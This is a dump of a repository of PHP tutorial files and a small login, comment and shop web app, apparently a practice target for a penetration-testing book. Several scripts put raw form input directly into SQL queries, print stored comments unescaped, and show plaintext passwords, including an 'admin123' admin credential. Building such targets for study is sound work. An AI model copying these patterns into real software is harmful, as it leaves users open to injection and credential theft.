2 | -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/basics/Abstract.php: -------------------------------------------------------------------------------- 1 | age=$age; 7 | } 8 | public function getAge(){ 9 | return $this->age; 10 | } 11 | } 12 | 13 | interface insurable{ 14 | public function getValue(); 15 | } 16 | 17 | class pet extends animal implements insurable{ 18 | private $name; 19 | public function __construct($name,$age){ 20 | parent :: __construct($age); 21 | $this->name = $name; 22 | } 23 | public function getName(){ 24 | return $this->name; 25 | } 26 | public function getOwned(){ 27 | return ("Owner String"); 28 | } 29 | public function getValue(){ 30 | return ("Priceless"); 31 | } 32 | } 33 | 34 | class house implements insurable{ 35 | public function getValue(){ 36 | return ("Rising fast"); 37 | } 38 | } 39 | 40 | //$dog= new animal(5); 41 | $cat = new pet("Kattey",2); 42 | echo $cat->getName()."
"; 43 | echo $cat->getAge()."
"; 44 | echo $cat->getOwned()."
"; 45 | echo $cat->getValue()."
"; 46 | /**/ 47 | $construct = new house; 48 | echo $construct->getValue();/**/ 49 | 50 | ?> -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/basics/Clone.php: -------------------------------------------------------------------------------- 1 | tiecolor = "blue"; 8 | } 9 | 10 | // Define a setter and getter for $employeeid 11 | function setEmployeeID($employeeid) { 12 | $this->employeeid = $employeeid; 13 | } 14 | function getEmployeeID(){ 15 | return $this->employeeid; 16 | } 17 | 18 | // Define a setter and getter for $tiecolor 19 | function setTiecolor($tiecolor) { 20 | $this->tiecolor = $tiecolor; 21 | } 22 | function getTiecolor() { 23 | return $this->tiecolor; } 24 | } 25 | 26 | // Create new corporatedrone object 27 | $drone1 = new corporatedrone(); 28 | 29 | // Set the $drone1 employeeid member 30 | $drone1->setEmployeeID("12345"); 31 | 32 | // Set the $drone1 tiecolor member 33 | $drone1->setTiecolor("red"); 34 | 35 | // Clone the $drone1 object 36 | $drone2 = clone $drone1; 37 | 38 | // Set the $drone2 employeeid member 39 | $drone2->setEmployeeID("67890"); 40 | 41 | // Output the $drone1 and $drone2 employeeid members 42 | echo "drone1 employeeID: ".$drone1->getEmployeeID()."
"; 43 | echo "drone1 tie color: ".$drone1->getTiecolor()."
"; 44 | echo "drone2 employeeID: ".$drone2->getEmployeeID()."
"; 45 | echo "drone2 tie color: ".$drone2->getTiecolor()."
";/**/ 46 | ?> -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/basics/Error.php: -------------------------------------------------------------------------------- 1 | Error: [$errno] $errstr"; 14 | } 15 | 16 | 17 | //set error handler 18 | set_error_handler("customError"); 19 | //trigger error 20 | echo($test); 21 | ?> -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/basics/Exception.php: -------------------------------------------------------------------------------- 1 | 1){ 4 | throw new Exception("Value must be 1 or below"); 5 | } 6 | return true; 7 | } 8 | //trigger exception 9 | try{ 10 | checkNum(2); 11 | //If the exception is thrown, this text will not be shown 12 | echo 'If you see this, the number is 1 or below'; 13 | } 14 | //catch exception 15 | catch(Exception $e){ 16 | echo 'Message: ' .$e->getMessage(); 17 | } 18 | 19 | ?> 20 | -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/basics/Inheritance.php: -------------------------------------------------------------------------------- 1 | name . "
"; 6 | } 7 | 8 | # Define a setter for the private $name member. 9 | function setName($name) { 10 | $this->name = $name; 11 | } 12 | 13 | # Define a getter for the private $name member 14 | function getName() { 15 | return $this->name; 16 | } 17 | } #end Person 18 | class EmployedPerson extends Person { 19 | public $ocupation; 20 | public $company_name; 21 | public $business_phone; 22 | 23 | function printPersonInfo(){ 24 | parent::printPersonInfo(); 25 | echo $this->occupation . "
"; 26 | echo $this->company_name . "
"; 27 | echo $this->business_phone . "
"; 28 | } 29 | } 30 | 31 | $kid = new Person(); 32 | $kid->setName("Jimmy"); 33 | $kid->printPersonInfo(); 34 | 35 | $adult = new EmployedPerson(); 36 | $adult->setName("Jimmy's Father"); 37 | 38 | $adult->occupation = "Programmer"; 39 | $adult->company_name = "SoftwareDev Ltd"; 40 | $adult->business_phone = "444-4444"; 41 | 42 | $adult->printPersonInfo();/**/ 43 | 44 | ?> -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/basics/REGEX.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Untitled Document 6 | 7 | 8 | "; 14 | 15 | $subject = "abcdef"; 16 | $pattern = '/^def/'; 17 | preg_match($pattern, substr($subject,3), $matches); 18 | print_r($matches); 19 | echo "
"; 20 | 21 | $delimitedText = "+Jason+++Gilmore+++++++++++Columbus+++OH"; 22 | $fields = preg_split("/\+{1,}/", $delimitedText); 23 | print_r($fields); 24 | foreach($fields as $field) 25 | echo $field."
"; 26 | 27 | ?> 28 | 29 | -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/basics/Reflection.php: -------------------------------------------------------------------------------- 1 | bar = $bar; 7 | } 8 | } 9 | 10 | class mychild extends myparent { 11 | public $val; 12 | private function bar(myparent &$baz) { 13 | // do stuff 14 | } 15 | public function __construct($val) { 16 | $this->val = $val; 17 | } 18 | } 19 | 20 | $child = new mychild('hello world'); 21 | $child->foo('test')."
"; 22 | 23 | $reflect = new ReflectionClass('mychild'); 24 | echo '
'.$reflect;
25 | 
26 | 
27 | 		//Reflection::export(new ReflectionClass('mychild'));
28 | 
29 | $childreflect = new ReflectionClass('mychild');
30 | 
31 | echo "This class is abstract: ", (int)$childreflect->isAbstract(), "
"; 32 | echo "This class is final: ", (int)$childreflect->isFinal(), "
"; 33 | echo "This class is actually an interface: ", (int)$childreflect->isInterface(), "
"; 34 | echo "\$child is an object of this class: ", (int)$childreflect->isInstance($child), "
"; 35 | $parentreflect = new ReflectionClass('myparent'); 36 | 37 | echo "This class inherits from myparent: ", (int)$childreflect->isSubclassOf($parentreflect), "
"; /**/ 38 | 39 | ?> -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/basics/Strings.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/basics/Strings.php -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/basics/admins.csv: -------------------------------------------------------------------------------- 1 | "1";"admin";"admin123" 2 | -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/basics/contacts.csv: -------------------------------------------------------------------------------- 1 | Peter,Griffin,Oslo,Norway 2 | Glenn,Quagmire,Oslox,Norway 3 | -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/basics/counter.txt: -------------------------------------------------------------------------------- 1 | 67686769676867702147483648 -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/basics/customException.php: -------------------------------------------------------------------------------- 1 | getLine()." in ".$this->getFile().": ".$this->getMessage()." is not a valid E-Mail address"; 6 | 7 | return $errorMsg; 8 | } 9 | } 10 | 11 | $email = "someone@example...com"; 12 | try{ 13 | //check if 14 | if(filter_var($email, FILTER_VALIDATE_EMAIL) === FALSE){ 15 | //throw exception if email is not valid 16 | throw new customException($email); 17 | } 18 | } 19 | catch (customException $e){ 20 | //display custom message 21 | echo $e->errorMessage(); 22 | } 23 | 24 | ?> -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/basics/forms_GET.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Untitled Document 6 | 7 | 8 | 9 | "; 12 | echo "You are ". $_GET["age"] ." years old!"; 13 | } 14 | ?> 15 |
16 | Name: 17 | Age: 18 | 19 |
20 | 21 | 22 | -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/basics/forms_POST.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Untitled Document 6 | 7 | 8 | 9 | "; 12 | echo "The address ".$_REQUEST['email']." has subscribed for new letter
"; 13 | } 14 | 15 | ?> 16 |
17 |

Name:
18 |

19 |

Email Address:
20 |

21 | 22 |
23 | 24 | 25 | 26 | -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/basics/multipleException.php: -------------------------------------------------------------------------------- 1 | getLine()." in ".$this->getFile().": ".$this->getMessage()." is not a valid E-Mail address"; 6 | 7 | return $errorMsg; 8 | } 9 | } 10 | $email = "someone@example.com"; 11 | try{ 12 | //check if 13 | if(filter_var($email, FILTER_VALIDATE_EMAIL) === FALSE){ 14 | //throw exception if email is not valid 15 | throw new customException($email); 16 | } 17 | //check for "example" in mail address 18 | if(strpos($email, "example") !== FALSE){ 19 | throw new Exception("$email is an example e-mail"); 20 | } 21 | } 22 | catch (customException $e){ 23 | echo $e->errorMessage(); 24 | } 25 | 26 | catch(Exception $e){ 27 | echo $e->getMessage(); 28 | } 29 | 30 | ?> -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/basics/testFile.txt: -------------------------------------------------------------------------------- 1 | Bobby Bopper 2 | Tracy Tanner 3 | Floppy Jalopy 4 | Pointy Pinto 5 | My DataMy DataMore DataAnd MoreEven More -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/basics/uploaded/golden.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/basics/uploaded/golden.gif -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/basics/uploaded/green.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/basics/uploaded/green.gif -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/basics/uploaded/red.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/basics/uploaded/red.gif -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/cancelReturn.php: -------------------------------------------------------------------------------- 1 | here"; 3 | 4 | ?> 5 | -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/check.php~: -------------------------------------------------------------------------------- 1 | 2 | 3 | 11 | -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/classes/Category.php: -------------------------------------------------------------------------------- 1 | catname=""; 12 | $this->image=""; 13 | } 14 | 15 | //Setters Getters 16 | public function setcName($cname) 17 | { 18 | $this->catname=$cname; 19 | 20 | } 21 | 22 | public function getcName() 23 | { 24 | return $this->catname; 25 | } 26 | 27 | public function setcImage($image_name) 28 | { 29 | $this->image=$image_name; 30 | 31 | } 32 | 33 | public function getcImage() 34 | { 35 | return $this->image; 36 | } 37 | 38 | } 39 | 40 | ?> -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/classes/Template.php: -------------------------------------------------------------------------------- 1 | "index.php", 5 | "News"=>"news.php", 6 | "Reviews"=>"reviews.php", 7 | "Ring Tones"=>"rtones.php", 8 | "Software"=>"software.php", 9 | "Coverage"=>"coverage.php", 10 | "Ranking"=>"ranking.php", 11 | "Contact us"=>"contactus.php"); 12 | } 13 | 14 | public function getAdds(){ 15 | return array("add1_thumb.jpg"=>"add1_detail.jpg", 16 | "add2_thumb.jpg"=>"add2_detail.jpg", 17 | "add3_thumb.jpg"=>"add3_detail.jpg", 18 | "add4_thumb.jpg"=>"add4_detail.jpg"); 19 | } 20 | 21 | public function getFooterMenu(){ 22 | return array("Home"=>"index.php", 23 | "News"=>"news.php", 24 | "Reviews"=>"reviews.php", 25 | "Ring Tones"=>"rtones.php", 26 | "Software"=>"software.php", 27 | "Coverage"=>"coverage.php", 28 | "Ranking"=>"ranking.php", 29 | "Contact us"=>"contactus.php"); 30 | } 31 | } 32 | ?> -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/comm.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 |

6 | 7 |
THis is Comment page
Enter your views

mohit


LOGOUT 8 | 9 | 10 | 11 | 12 |

Leave your Comments

13 |
14 |
15 | 16 | 17 | 18 | 19 | 20 | 21 |

22 | Comments

23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 |
38 | 39 | Old comments 40 | 41 | 42 | 60 | 61 | 62 | 63 | 64 | 65 | 66 |

67 |
68 | -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/config.php: -------------------------------------------------------------------------------- 1 | 7 | -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/config.php~: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/cong.php~: -------------------------------------------------------------------------------- 1 | 2 | 3 |

4 | Congrats Welcome '".$_SESSION['userName']."'"; 7 | 8 | ?> 9 |

10 | 11 | -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/connect.php~: -------------------------------------------------------------------------------- 1 | 8 | -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/datastore.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/dis.php~: -------------------------------------------------------------------------------- 1 | 6 | 7 | NameComment"; 12 | while($row = mysql_fetch_array($result)){ 13 | //Display the results in different cells 14 | echo "" . $row['name'] . "" . htmlspecialchars($row['comment']) . ""; 15 | } 16 | //Table closing tag 17 | echo ""; 18 | ?> 19 | 20 | 21 | New Comment Click here 22 | 23 | 24 | -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/disp.php~: -------------------------------------------------------------------------------- 1 | 6 | 7 | NameComment"; 12 | while($row = mysql_fetch_array($result)){ 13 | //Display the results in different cells 14 | echo "" . $row['name'] . "" . $row['comment'] . ""; 15 | } 16 | //Table closing tag 17 | echo ""; 18 | ?> 19 | -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/display.php~: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 9 | 10 | Welcome ".$_SESSION['userName']."."; 18 | 19 | echo"
LOGOUT
"; 20 | 21 | 22 | mysql_select_db("login"); 23 | 24 | $result = mysql_query("SELECT * FROM users); 25 | 26 | echo " 27 | 28 | 29 | 30 | 31 | "; 32 | 33 | while($row = mysql_fetch_array($result)) 34 | { 35 | echo ""; 36 | echo ""; 37 | echo ""; 38 | echo ""; 39 | echo ""; 40 | } 41 | echo "
IDUser-namePassword
" . $row['id'] . "" . $row['user'] . "" . $row['pass'] . "
"; 42 | 43 | 44 | } 45 | else 46 | { 47 | header("location: index.php"); 48 | } 49 | ?> 50 |
Do u want to add more record click here 51 | 52 | 53 | 54 | -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/edit.php~: -------------------------------------------------------------------------------- 1 | 6 | 7 | 12 | 39 | 40 | -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/editabout.php~: -------------------------------------------------------------------------------- 1 | 6 | 7 | 12 | 13 | 14 | 15 | 16 |
17 |
18 | About your self:
19 | 20 |
21 | 22 | 23 | 24 | -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/editabout1.php~: -------------------------------------------------------------------------------- 1 | 6 | 7 | 12 | 19 | -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/editdate.php~: -------------------------------------------------------------------------------- 1 | 6 | 7 | 12 | 13 | 14 | 15 | 16 |
17 |
18 | Date of birth:
19 | 20 | 21 |
22 | 23 | 24 | 25 | -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/editdate1.php~: -------------------------------------------------------------------------------- 1 | 2 | 7 | 8 | 13 | 20 | -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/editmail.php~: -------------------------------------------------------------------------------- 1 | 6 | 7 | 12 | 13 | 14 | 15 |
16 |
17 | Email:
18 | 19 | 20 |
21 | 22 | 23 | 24 | -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/editname.php~: -------------------------------------------------------------------------------- 1 | 6 | 7 | 12 | 13 | 14 | 15 | 16 | 17 |
18 |
19 | First Name:
20 | 21 | 22 |
23 | 24 | 25 | 26 | 33 | -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/editname1.php~: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/editname1.php~ -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/emptycart.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/formpage.html~: -------------------------------------------------------------------------------- 1 | 13 |
14 | User-name: 15 | 16 | 17 | 18 |
19 | Password:
20 | 21 | First Name:
22 | Email:
23 | About:
24 | Date of birth
25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 |
33 | -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/hack.html: -------------------------------------------------------------------------------- 1 | < 2 | 3 |
4 | 5 |
6 | 7 | 8 | -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/home (copy).php~: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 |

8 | 13 | 14 | THis is Home page Welcome $userName"; 20 | echo "
You were already logged in ".$_SESSION['userName']."."; 21 | 22 | echo"
LOGOUT"; 23 | 24 | } 25 | else 26 | { 27 | header("location: index.php"); 28 | } 29 | ?> 30 | 39 | 40 | 41 | First name: =
42 | Email =
43 | Date of birth =
44 | About you =
45 |

46 | 47 | 48 | 49 | -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/home.php~: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 |

8 | 13 | 14 | THis is Home page Welcome $userName"; 20 | echo "
You were already logged in ".$_SESSION['userName']."."; 21 | 22 | echo"
LOGOUT"; 23 | 24 | } 25 | else 26 | { 27 | header("location: index.php"); 28 | } 29 | ?> 30 | 31 | "; 41 | echo "MY ID = "; 42 | 43 | echo $row['id'] ; 44 | echo "
"; 45 | 46 | echo "My Name = "; 47 | echo $row['First_name'] ; 48 | 49 | 50 | echo "
"; 51 | 52 | echo "MY Email = "; 53 | echo $row['email'] ; 54 | 55 | echo "
"; 56 | 57 | echo "About MySelf = "; 58 | echo $row['About'] ; 59 | 60 | 61 | echo "
"; 62 | 63 | echo "Date of Birth = "; 64 | echo $row['datefb'] ; 65 | 66 | 67 | echo" Do you want to EDIT your profile click here..."; 68 | 69 | } 70 | 71 | 72 | ?> 73 | 74 |

75 | 76 | 77 | 78 | -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/home1.php~: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 |

8 | 13 | 14 | THis is Home page Welcome $userName"; 20 | echo "
You were already logged in ".$_SESSION['userName']."."; 21 | 22 | echo"
LOGOUT"; 23 | 24 | } 25 | else 26 | { 27 | header("location: index.php"); 28 | } 29 | ?> 30 | 39 | 40 | 41 | First name: =
42 | Email =
43 | Date of birth =
44 | About you =
45 |

46 | 47 | 48 | 49 | -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/images/Extra/Thumbs.db: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/images/Extra/Thumbs.db -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/images/Extra/menuActive.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/images/Extra/menuActive.jpg -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/images/Extra/menu_bg.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/images/Extra/menu_bg.png -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/images/Extra/menu_bgx.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/images/Extra/menu_bgx.jpg -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/images/Extra/menu_bgxx.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/images/Extra/menu_bgxx.jpg -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/images/Extra/menu_hvrxxx.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/images/Extra/menu_hvrxxx.jpg -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/images/Thumbs.db: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/images/Thumbs.db -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/images/footer_bg.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/images/footer_bg.jpg -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/images/menu_bg.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/images/menu_bg.jpg -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/images/menu_hvr.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/images/menu_hvr.jpg -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/images/menu_hvr.psd: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/images/menu_hvr.psd -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/include/adds.php: -------------------------------------------------------------------------------- 1 | getadds(); 5 | echo ""; 6 | foreach($links as $text => $link){ 7 | echo ""; 8 | echo ""; 9 | echo ""; 10 | } 11 | echo "
"; 12 | ?> -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/include/footerMenu.php: -------------------------------------------------------------------------------- 1 | getFooterMenu(); 5 | echo "
    "; 6 | foreach($links as $text => $link){ 7 | echo "
  • ".$text."
  • "; 8 | } 9 | echo "
"; 10 | ?> -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/include/headerMenu.php: -------------------------------------------------------------------------------- 1 | getHeaderMenu(); 5 | echo "
    "; 6 | foreach($t->getHeaderMenu() as $text => $link){ 7 | echo "
  • ".$text."
  • "; 8 | } 9 | echo "
"; 10 | ?> -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/index.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | online Mobile Shop 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 |
14 |
15 |
16 | 18 | 19 | -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/ins.html~: -------------------------------------------------------------------------------- 1 | You were already logged in ".$_SESSION['userName']."."; 8 | 9 | echo"
LOGOUT"; 10 | 11 | 12 | } 13 | else 14 | { 15 | header("location: index.php"); 16 | } 17 | ?> 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 |
29 | Add record
30 | User-Name: 31 | Password: 32 | 33 | 34 |
35 | 36 | 37 | 38 | -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/ins.php~: -------------------------------------------------------------------------------- 1 | You were already logged in ".$_SESSION['userName']."."; 8 | 9 | echo"
LOGOUT"; 10 | 11 | } 12 | else 13 | { 14 | header("location: index.php"); 15 | } 16 | ?> 17 | 18 | 19 | 20 |
21 | Add record
22 | User-Name: 23 | Password: 24 | 25 | 26 |
27 | 28 | 29 | 30 | -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/inse.php~: -------------------------------------------------------------------------------- 1 | 6 | 7 | 12 | 13 | 14 | 15 | 16 |
17 | Add record
18 | First Name:
19 | 20 | Email:
21 | About your self:
22 | Date of birth:
23 | 24 | 25 |
26 | 27 | 28 | 29 | -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/insert.php~: -------------------------------------------------------------------------------- 1 | HOME"; 9 | 10 | echo"
LOGOUT"; 11 | 12 | 13 | } 14 | else 15 | { 16 | header("location: index.php"); 17 | } 18 | ?> 19 | -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/inst.php~: -------------------------------------------------------------------------------- 1 | 6 | 7 | Welcome ".$_SESSION['userName']."."; 14 | 15 | echo"
LOGOUT
"; 16 | 17 | 18 | mysql_select_db("login"); 19 | 20 | 21 | $sql="INSERT INTO users (user, pass) 22 | VALUES 23 | ('$_POST[user]','$_POST[pass]')"; 24 | 25 | if (!mysql_query($sql)) 26 | { 27 | die('Error ohh: ' . mysql_error()); 28 | } 29 | echo " 1 record added"; 30 | 31 | 32 | } 33 | else 34 | { 35 | header("location: index.php"); 36 | } 37 | ?> 38 | 39 |
Do u want to add more record click here
40 |
Admin Page click here 41 | 42 | 43 | 44 | 45 | -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/login.php~: -------------------------------------------------------------------------------- 1 | 6 | 0) 18 | { 19 | if($uname =="admin") 20 | { 21 | $_SESSION['userName'] = 'admin'; 22 | 23 | header("location: admin.php"); 24 | //echo"
LOGOUT"; 25 | } 26 | 27 | else 28 | { 29 | $_SESSION['userName'] = $uname; 30 | header("location: home1.php"); 31 | } 32 | } 33 | else 34 | { 35 | echo "Login Failed"; 36 | } 37 | ?> 38 | -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/logout.php~: -------------------------------------------------------------------------------- 1 | 5 | "; 15 | location 16 | } 17 | else 18 | { 19 | echo "Error Occured !!
"; 20 | } 21 | ?> 22 | -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/mmm.php~: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | Login 7 |
8 |
9 | 10 | 11 | 12 | 13 | Username: 14 | 15 | 16 | 17 | 18 | comment: 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/process.php~: -------------------------------------------------------------------------------- 1 | 6 | 7 | 8 | 9 | User Exist" $qury ; 21 | 22 | if (mysql_num_rows($qury) != 0) 23 | { 24 | echo "
User Exist $uname"; 25 | } 26 | else 27 | { 28 | echo "
You can use this $uname name"; 29 | } 30 | } 31 | else { 32 | 33 | $username = $_POST['user']; 34 | echo "
THis is not Home page Welcome $username"; 35 | } 36 | ?> 37 | -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/reg.php~: -------------------------------------------------------------------------------- 1 | 5 | 6 | 7 | User or Email already used"; 21 | } 22 | else 23 | { 24 | 25 | 26 | 27 | 28 | session_start(); 29 | $uname = $_POST['user']; 30 | 31 | mysql_select_db("begin"); 32 | $e=mysql_query("INSERT INTO admin (user, pass, First_name, email, About, datefb) 33 | VALUES 34 | ('$_POST[user]','$_POST[pass]','$_POST[First]','$_POST[email]','$_POST[About]','$_POST[dateob]')"); 35 | 36 | 37 | $_SESSION['userName'] = $uname ; 38 | 39 | 40 | header("location: home.php"); 41 | } 42 | 43 | ?> 44 | 45 | -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/register2.php~: -------------------------------------------------------------------------------- 1 | 2 | 3 |

Register YourSelf Today!!!

4 |
5 |
6 | User-Name:
7 | 8 |
9 | Password:
10 | 11 | First Name:
12 | Email:
13 | About:
14 | Date of birth
15 | 16 | 17 | 18 | 19 | 20 | 21 |
22 | 23 | 48 | 49 | 50 | -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/removeItem.php: -------------------------------------------------------------------------------- 1 | remove_item($_itemid); 13 | header("Location: viewCart.php"); 14 | exit; 15 | 16 | 17 | ?> -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/somepage.php~: -------------------------------------------------------------------------------- 1 | 8 | -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/submit.php~: -------------------------------------------------------------------------------- 1 | 6 | 7 | Submission Successful"; 16 | header("location: index.php"); 17 | } else { 18 | echo "There was an error with the submission. "; 19 | } 20 | 21 | ?> 22 | -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/testimages/AddToCart.gif: -------------------------------------------------------------------------------- 